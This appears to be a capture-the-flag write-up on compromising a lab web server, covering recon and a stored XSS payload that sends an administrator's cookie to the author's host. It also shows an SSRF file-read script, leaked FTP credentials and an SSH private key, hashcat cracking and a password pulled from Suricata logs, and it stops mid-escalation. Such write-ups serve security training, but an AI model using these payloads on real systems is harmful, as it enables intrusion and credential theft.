Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The nmap scan found the redirect to comprezzor.htb
an port 80, so I’ll add this to my /etc/hosts
file.
HTTP
Checking out the webpage shows a webservice for compressing txt, docx, and pdf files with the LZMA
algorithm. After upload a sample txt file, Firefox downloads an xz
archive that can be decompressed to get the original file back.
The footer of the page exposes an email address support@comprezzor.htb and a way to provide a bug report. The link points to report.comprezzor.htb
and I decide to enumerate further virtual hosts with ffuf.
The found subdomains auth
, report
and dashboard
go straight into my hosts file.
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-u 'http://comprezzor.htb' \
-H 'Host: FUZZ.comprezzor.htb' \
-fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://comprezzor.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.comprezzor.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
auth [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 30ms]
report [Status: 200, Size: 3166, Words: 1102, Lines: 109, Duration: 38ms]
dashboard [Status: 302, Size: 251, Words: 18, Lines: 6, Duration: 26ms]
Following the link to report a bug leads to another page detailing how the bug reports are handled. They are carefully reviewed by our skilled developers and escalated to an administrator if needed.
Trying to submit a new bug report through the Report a Bug button directs me to a login prompt on auth.comprezzor.htb
with the option to register a new account.
Initial Access
Registering a new account works and lets me login. Now, the button sends me to an input form with a title and a description. Submitting the form with dummy data shows a positive feedback and the ensurance that the team will check on this shortly.
Besides the flash message there does not seem to be a way to verify the contents of my submitted report. Nonetheless I’ll try to use XSS
to steal the cookie since the HTTPOnly
flag is missing and therefore can be accessed through javascript.
I’ll use a simple snippet that sends the cookie to my webserver. After submitting this as the description of a new bug report, I quickly receive a callback with a cookie on my listener.
<img src=x onerror='let xhr = new XMLHttpRequest();xhr.open("GET","http://10.10.10.10/cookie=" + document.cookie, false);xhr.send();'>
Replacing my cookie in the browser with the new value does not change the bug reporting page, but lets me access dashboard.comprezzor.htb
, where an overview over all open tickets is visible.
By clicking on the report ID, I can check out the details of the ticket. From there it’s possible to resolve and delete a ticket. More importantly it also lets me change the priority of the ticket.
As described previously, tickets are forwarded to administrators if they require further attention. This might be indicated through the priority flag, so the next step is to resubmit a ticket with the XSS
payload and change the priority to 1
.
Repeating the previous steps and following up by changing the priority, shows a new ticket from adam
with the priority set to 1
. I do receive two callbacks, one from myself by accessing the ticket for the priority change and then another one from the administrator.
Replacing the cookie and refreshing the page grants access to the admin dashboard. The view is filtered to tickets with priority 1 and there are three more links. The Full report list shows an overview over the ticket, Create a backup only shows a flash message and Create PDF report leads to another input form.
Using a link to my own webserver shows a connect with Python-urllib/3.11
as user-agent and I receive a PDF with the contents of the webpage. Examining the metadata with exiftool reveals the product in use to be wkhtmltopdf 0.12.6
.
exiftool ~/Downloads/report_66018.pdf
ExifTool Version Number : 12.76
File Name : report_66018.pdf
Directory : /home/ryuki/Downloads
File Size : 15 kB
File Modification Date/Time : 2024:09:13 12:18:58+00:00
File Access Date/Time : 2024:09:13 12:18:58+00:00
File Inode Change Date/Time : 2024:09:13 12:18:58+00:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Title :
Creator : wkhtmltopdf 0.12.6
Producer : Qt 5.15.2
Create Date : 2024:09:13 12:18:57Z
Page Count : 1
Tries to retrieve local files (file://) or access localhost seem to be blocked and show an error message: Invalid URL. Searching for bypasses in Python-urllib/3.11
finds CVE-2023-24329 where the verification can be bypassed by adding a blank character (space) at the beginning of the URL.
Using report_url= file:///etc/passwd
does in fact show the contents of the passwd
file and proves that the application is vulnerable.
The passwd
file does not contain any user accounts, so this application might be running within a container and the presence of /.dockerenv
(even empty) is a strong indicator. Non-existing files produce Unexpected error!.
Sending a request and then downloading the PDF to check the contents is a bit tedious, so I’ll pack the steps into a simple python script that does the heavy lifting. It uses requests to retrieve the PDF and then pdfplumber to parse the contents.
import pdfplumber
import requests
from io import BytesIO
COOKIE = 'eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5'
def get_contents(fp):
try:
response = requests.post(
'http://dashboard.comprezzor.htb/create_pdf_report',
cookies={'user_data': COOKIE},
data={'report_url': f' file://{fp}'})
response.raise_for_status()
except requests.exceptions.RequestException as error:
print(error)
return 'Error'
if 'Unexpected error!' in response.text:
return 'File not found'
pdf = BytesIO(response.content)
content = ''
with pdfplumber.open(pdf) as f:
for page in f.pages:
content += page.extract_text()
return content
def main():
while True:
try:
file = input('File: ').strip()
print(get_contents(file))
print()
except KeyboardInterrupt:
break
if __name__ == '__main__':
main()
Running the script and requesting /etc/passwd
as a test returns the expected output. I follow that up by checking the environment variables for the current process and the process running as PID 1. From that I can infer that I’m running as root and the current working directory is /app
.
Info
The entries of the
environ
are separated by null bytes, so the formatting is wrong due to the conversion but easily guessable. This also applies to other file formats.
The process with PID 1 is usually the entrypoint to a Docker container. By checking /proc/1/cmdline
I can see that it does run sh ./setup.sh
and combining this with the current working directory, I’ll check /app/setup.sh
next.
After installing dependencies and adding an IP for ftp.local
to the /etc/hosts
it does start /app/code/app.py
.
python3 report.py
File: /etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-
data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting
System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd
Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:104::/nonexistent:/usr/sbin/nologin systemd-
timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin avahi:x:105:110:Avahi mDNS
daemon,,,:/run/avahi-daemon:/usr/sbin/nologin geoclue:x:106:111::/var/lib/geoclue:/usr/sbin/nologin
File: /proc/self/environ
HOSTNAME=web.localPYTHON_PIP_VERSION=22.3.1HOME=/rootGPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DPYTHON_GET_PIP_URL=https://github.com/pypa/get-
pip/raw/d5cb0afaf23b8520f1bbcfed521017b4a95f5c01/public/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-
8PYTHON_VERSION=3.11.2PYTHON_SETUPTOOLS_VERSION=65.5.1PWD=/appPYTHON_GET_PIP_SHA256=394be00f13fa1b9aaa47e911bdb59a09c3b2986472130f30aa0bfaf7f3980637
File: /proc/1/environ
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=web.localLANG=C.UTF-
8GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DPYTHON_VERSION=3.11.2PYTHON_PIP_VERSION=22.3.1PYTHON_SETUPTOOLS_VERSION=65.5.1PYTHON_GET_PIP_URL=https://github.com/pypa/get-
pip/raw/d5cb0afaf23b8520f1bbcfed521017b4a95f5c01/public/get-pip.pyPYTHON_GET_PIP_SHA256=394be00f13fa1b9aaa47e911bdb59a09c3b2986472130f30aa0bfaf7f3980637HOME=/root
File: /proc/1/cmdline
sh./setup.sh
File: /app/setup.sh
#!/bin/sh apt update apt-get -y install wkhtmltopdf echo "172.21.0.1 ftp.local" >> /etc/hosts pip3 install --no-cache-dir -r
requirements.txt python3 /app/code/app.py
File: /app/code/app.py
from flask import Flask, request, redirect from blueprints.index.index import main_bp from blueprints.report.report
import report_bp from blueprints.auth.auth import auth_bp from blueprints.dashboard.dashboard import dashboard_bp
app = Flask(__name__) app.secret_key = "7ASS7ADA8RF3FD7" app.config['SERVER_NAME'] = 'comprezzor.htb'
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 # Limit file size to 5MB ALLOWED_EXTENSIONS = {'txt',
'pdf', 'docx'} # Add more allowed file extensions if needed app.register_blueprint(main_bp)
app.register_blueprint(report_bp, subdomain='report') app.register_blueprint(auth_bp, subdomain='auth')
app.register_blueprint(dashboard_bp, subdomain='dashboard') if __name__ == '__main__': app.run(debug=False,
host="0.0.0.0", port=80)
The app.py
imports multiple blueprints and registers them on the Flask app. Since those are custom made and likely do not belong to a package, they are sourced locally and dashboard_bp
should be accessible in /app/code/blueprints/dashboard/dashboard.py
.
from flask import Flask, request, redirect
from blueprints.index.index import main_bp
from blueprints.report.report import report_bp
from blueprints.auth.auth import auth_bp
from blueprints.dashboard.dashboard import dashboard_bp
app = Flask(__name__)
app.secret_key = "7ASS7ADA8RF3FD7"
app.config['SERVER_NAME'] = 'comprezzor.htb'
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 # Limit file size to 5MB
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'docx'} # Add more allowed file extensions if needed
app.register_blueprint(main_bp)
app.register_blueprint(report_bp, subdomain='report')
app.register_blueprint(auth_bp, subdomain='auth')
app.register_blueprint(dashboard_bp, subdomain='dashboard')
if __name__ == '__main__': app.run(debug=False,
host="0.0.0.0", port=80)
The code for the dashboard shows the underlying code of the functionalities I’ve already abused.
What’s more interesting is the backup feature, because it just showed a flash message and did not really provide any more information. The code sheds some more light into that. It actually zips the app directory and then transfers the file via FTP to ftp.local
while authenticating with ftp_admin:u3jai8y71s2
.
from flask import Blueprint, request, render_template, flash, redirect, url_for, send_file
from blueprints.auth.auth_utils import admin_required, login_required, deserialize_user_data
from blueprints.report.report_utils import get_report_by_priority, get_report_by_id, delete_report, get_all_reports, change_report_priority, resolve_report
import random, os, pdfkit, socket, shutil
import urllib.request
from urllib.parse import urlparse
import zipfile
from ftplib import FTP
from datetime import datetime
dashboard_bp = Blueprint('dashboard', __name__, subdomain='dashboard')
pdf_report_path = os.path.join(os.path.dirname(__file__), 'pdf_reports')
allowed_hostnames = ['report.comprezzor.htb']
@dashboard_bp.route('/', methods=['GET'])
@admin_required
def dashboard():
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)
if user_info['role'] == 'admin':
reports = get_report_by_priority(1)
elif user_info['role'] == 'webdev':
reports = get_all_reports()
return render_template('dashboard/dashboard.html', reports=reports, user_info=user_info)
@dashboard_bp.route('/report/', methods=['GET'])
@login_required
def get_report(report_id):
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)
if user_info['role'] in ['admin', 'webdev']:
report = get_report_by_id(report_id)
return render_template('dashboard/report.html', report=report, user_info=user_info)
else:
pass
@dashboard_bp.route('/delete/', methods=['GET'])
@login_required
def del_report(report_id):
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)
if user_info['role'] in ['admin', 'webdev']:
report = delete_report(report_id)
return redirect(url_for('dashboard.dashboard'))
else:
pass
@dashboard_bp.route('/resolve', methods=['POST'])
@login_required
def resolve():
report_id = int(request.args.get('report_id'))
if resolve_report(report_id):
flash('Report resolved successfully!', 'success')
else:
flash('Error occurred while trying to resolve!', 'error')
return redirect(url_for('dashboard.dashboard'))
@dashboard_bp.route('/change_priority', methods=['POST'])
@admin_required
def change_priority():
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)
if user_info['role'] != ('webdev' or 'admin'):
flash('Not enough permissions. Only admins and webdevs can change report priority.', 'error')
return redirect(url_for('dashboard.dashboard'))
report_id = int(request.args.get('report_id'))
priority_level = int(request.args.get('priority_level'))
if change_report_priority(report_id, priority_level):
flash('Report priority level changed!', 'success')
else:
flash('Error occurred while trying to change the priority!', 'error')
return redirect(url_for('dashboard.dashboard'))
@dashboard_bp.route('/create_pdf_report', methods=['GET', 'POST'])
@admin_required
def create_pdf_report():
global pdf_report_path
if request.method == 'POST':
report_url = request.form.get('report_url')
try:
scheme = urlparse(report_url).scheme
hostname = urlparse(report_url).netloc
dissallowed_schemas = ["file", "ftp", "ftps"]
if (scheme not in dissallowed_schemas) and ((socket.gethostbyname(hostname.split(":")[0]) != '127.0.0.1') or (hostname in allowed_hostnames)):
print(scheme)
urllib_request = urllib.request.Request(report_url, headers={'Cookie': 'user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5'})
response = urllib.request.urlopen(urllib_request)
html_content = response.read().decode('utf-8')
pdf_filename = f'{pdf_report_path}/report_{str(random.randint(10000,90000))}.pdf'
pdfkit.from_string(html_content, pdf_filename)
return send_file(pdf_filename, as_attachment=True)
else:
flash('Invalid URL', 'error')
return render_template('dashboard/create_pdf_report.html')
except:
flash('Unexpected error!', 'error')
return render_template('dashboard/create_pdf_report.html')
else:
return render_template('dashboard/create_pdf_report.html')
@dashboard_bp.route('/backup', methods=['GET'])
@admin_required
def backup():
source_directory = os.path.abspath(os.path.dirname(__file__) + '../../../')
current_datetime = datetime.now().strftime("%Y%m%d%H%M%S")
backup_filename = f'app_backup_{current_datetime}.zip'
with zipfile.ZipFile(backup_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, _, files in os.walk(source_directory):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, source_directory)
zipf.write(file_path, arcname=arcname)
try:
ftp = FTP('ftp.local')
ftp.login(user='ftp_admin', passwd='u3jai8y71s2')
ftp.cwd('/')
with open(backup_filename, 'rb') as file:
ftp.storbinary(f'STOR {backup_filename}', file)
ftp.quit()
os.remove(backup_filename)
flash('Backup and upload completed successfully!', 'success')
except Exception as e:
flash(f'Error: {str(e)}', 'error')
return redirect(url_for('dashboard.dashboard'))
In the script, I replace the file://
protocol with ftp://ftp_admin:u3jai8y71s2@ftp.local
to access the FTP server containing three files: two welcome notes and a private key. The note contains the passphrase Y27SH19HDIWD
but does not specify a username to use.
python3 scrape.py
File:
-rw------- 1 root root 2655 Sep 13 14:50 private-8297.key -rw-r--r-- 1 root root 15519 Sep 13 14:50 welcome_note.pdf -rw-
r--r-- 1 root root 1732 Sep 13 14:50 welcome_note.txt
File: welcome_note.txt
Dear Devs, We are thrilled to extend a warm welcome to you as you embark on this exciting journey with us. Your
arrival marks the beginning of an inspiring chapter in our collective pursuit of excellence, and we are genuinely
delighted to have you on board. Here, we value talent, innovation, and teamwork, and your presence here reaffirms our
commitment to nurturing a diverse and dynamic workforce. Your skills, experience, and unique perspectives are
invaluable assets that will contribute significantly to our continued growth and success. As you settle into your new
role, please know that you have our unwavering support. Our team is here to guide and assist you every step of the way,
ensuring that you have the resources and knowledge necessary to thrive in your position. To facilitate your work and
access to our systems, we have attached an SSH private key to this email. You can use the following passphrase to
access it, `Y27SH19HDIWD`. Please ensure the utmost confidentiality and security when using this key. If you have any
questions or require assistance with server access or any other aspect of your work, please do not hesitate to reach out
for assistance. In addition to your technical skills, we encourage you to bring your passion, creativity, and innovative
thinking to the table. Your contributions will play a vital role in shaping the future of our projects and products. Once
again, welcome to your new family. We look forward to getting to know you, collaborating with you, and witnessing
your exceptional contributions. Together, we will continue to achieve great things. If you have any questions or need
further information, please feel free to me at adam@comprezzor.htb. Best regards, Adam
File: private-8297.key
-----BEGIN OPENSSH PRIVATE KEY-----
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
XxwXArPr6+HQe9hZSjI2hjYC2OU= -----END OPENSSH PRIVATE KEY-----
By using the -p
switch in ssh-keygen, I can change remove the passphrase from the key. Doing so also shows the comment dev_acc@local
, so there’s the missing username.
Hint
The comment can also be read with the
-l
switch without changing the key!
Accessing the system with the key and the username dev_acc
lets me read the first flag.
Privilege Escalation
The web application has to store accounts somewhere and I can find the corresponding database in /var/www/app/blueprints/auth/users.db
. It does contain just one table with the credentials for the users. From the code its obvious that Werkzeug is used to generate the SHA256 hashes and I’ll try to crack them with hashcat mode 30120
.
dev_acc@intuition:/var/www/app/blueprints/auth$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> .schema users
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL,
role TEXT DEFAULT 'user'
);
sqlite> select username, password from users;
admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606
adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43
A few minutes pass and the hash for adam
is recovered: adam gray
, but it does not allow me to change the user. In /opt/ftp/
there’s a folder called adam
, leading me to create a SOCKS tunnel with SSH and trying to access the locally running FTP server with the credentials.
proxychains -q wget -m ftp://adam:"adam gray"@127.0.0.1
--- SNIP ---
find .
.
./127.0.0.1
./127.0.0.1/backup
./127.0.0.1/backup/.listing
./127.0.0.1/backup/runner1
./127.0.0.1/backup/runner1/run-tests.sh
./127.0.0.1/backup/runner1/.listing
./127.0.0.1/backup/runner1/runner1.c
./127.0.0.1/backup/runner1/runner1
./127.0.0.1/.listing
The backup directory contains a binary called runner1
, the source code, and a bash script to run tests. Within run-tests.sh
I can see the sample usage including an auth code to be used, even though it’s partly redacted.
#!/bin/bash
# List playbooks
./runner1 list
# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"
# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"
Having a look at the C
code, it looks like a wrapper around ansible to interact with playbooks. First it does check if the provided auth code corresponds to a MD5 hash (0feda17076d793c2ef2870d7427ad4ed
).
// Version : 1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <openssl/md5.h>
#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"
int check_auth(const char* auth_key) {
unsigned char digest[MD5_DIGEST_LENGTH];
MD5((const unsigned char*)auth_key, strlen(auth_key), digest);
char md5_str[33];
for (int i = 0; i < 16; i++) {
sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
}
if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {
return 1;
} else {
return 0;
}
}
void listPlaybooks() {
DIR *dir = opendir(PLAYBOOK_LOCATION);
if (dir == NULL) {
perror("Failed to open the playbook directory");
return;
}
struct dirent *entry;
int playbookNumber = 1;
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
printf("%d: %s\n", playbookNumber, entry->d_name);
playbookNumber++;
}
}
closedir(dir);
}
void runPlaybook(const char *playbookName) {
char run_command[1024];
snprintf(run_command, sizeof(run_command), "%s -i %s %s%s", ANSIBLE_PLAYBOOK_BIN, INVENTORY_FILE, PLAYBOOK_LOCATION, playbookName);
system(run_command);
}
void installRole(const char *roleURL) {
char install_command[1024];
snprintf(install_command, sizeof(install_command), "%s install %s", ANSIBLE_GALAXY_BIN, roleURL);
system(install_command);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
return 1;
}
int auth_required = 0;
char auth_key[128];
for (int i = 2; i < argc; i++) {
if (strcmp(argv[i], "-a") == 0) {
if (i + 1 < argc) {
strncpy(auth_key, argv[i + 1], sizeof(auth_key));
auth_required = 1;
break;
} else {
printf("Error: -a option requires an auth key.\n");
return 1;
}
}
}
if (!check_auth(auth_key)) {
printf("Error: Authentication failed.\n");
return 1;
}
if (strcmp(argv[1], "list") == 0) {
listPlaybooks();
} else if (strcmp(argv[1], "run") == 0) {
int playbookNumber = atoi(argv[2]);
if (playbookNumber > 0) {
DIR *dir = opendir(PLAYBOOK_LOCATION);
if (dir == NULL) {
perror("Failed to open the playbook directory");
return 1;
}
struct dirent *entry;
int currentPlaybookNumber = 1;
char *playbookName = NULL;
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
if (currentPlaybookNumber == playbookNumber) {
playbookName = entry->d_name;
break;
}
currentPlaybookNumber++;
}
}
closedir(dir);
if (playbookName != NULL) {
runPlaybook(playbookName);
} else {
printf("Invalid playbook number.\n");
}
} else {
printf("Invalid playbook number.\n");
}
} else if (strcmp(argv[1], "install") == 0) {
installRole(argv[2]);
} else {
printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
return 1;
}
return 0;
}
Given the MD5 hash and the part of the auth code, I can use hashcat to bruteforce the whole code through a mask attack1. The code seems to consist out of uppercase letters and numbers, therefore I define a custom charset with -1 '?u?d'
that contains only those characters and use it with ?1
as placeholder in the mask.
Executing hashcat in mode 0
for MD5 and attack mode 3
for mask attack reveals the full code UHI75GHINKOP
.
hashcat -m 0 \
-a 3 \
-1 '?u?d' \
0feda17076d793c2ef2870d7427ad4ed \
'UHI75GHI?1?1?1?1'
--- SNIP ---
0feda17076d793c2ef2870d7427ad4ed:UHI75GHINKOP
--- SNIP ---
Unfortunately neither the password for adam nor the recovered auth code grant me more access. So this might be a dead end (for now).
Shell as lopez
Poking around on the host I eventually find logs for suricata, a network monitoring tool, in /var/logs/suricata
. Those are world-readable and may contain sensitive information, especially considering there’s a FTP server running on the host and credentials might be transmitted as cleartext. Some of the logs are already compressed with gunzip, so I’ll use zgrep to search for the string lopez
.
A few hits come back and those contain the password Lopezz1992%123
which lets me move to the lopez user.
zgrep -i lopez *.gz 2>/dev/null
eve.json.8.gz:{"timestamp":"2023-09-28T17:43:36.099184+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:43:52.999165+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"PASS","command_data":"Lopezzz1992%123","completion_code":["530"],"reply":["Authentication failed."],"reply_received":"yes"}}
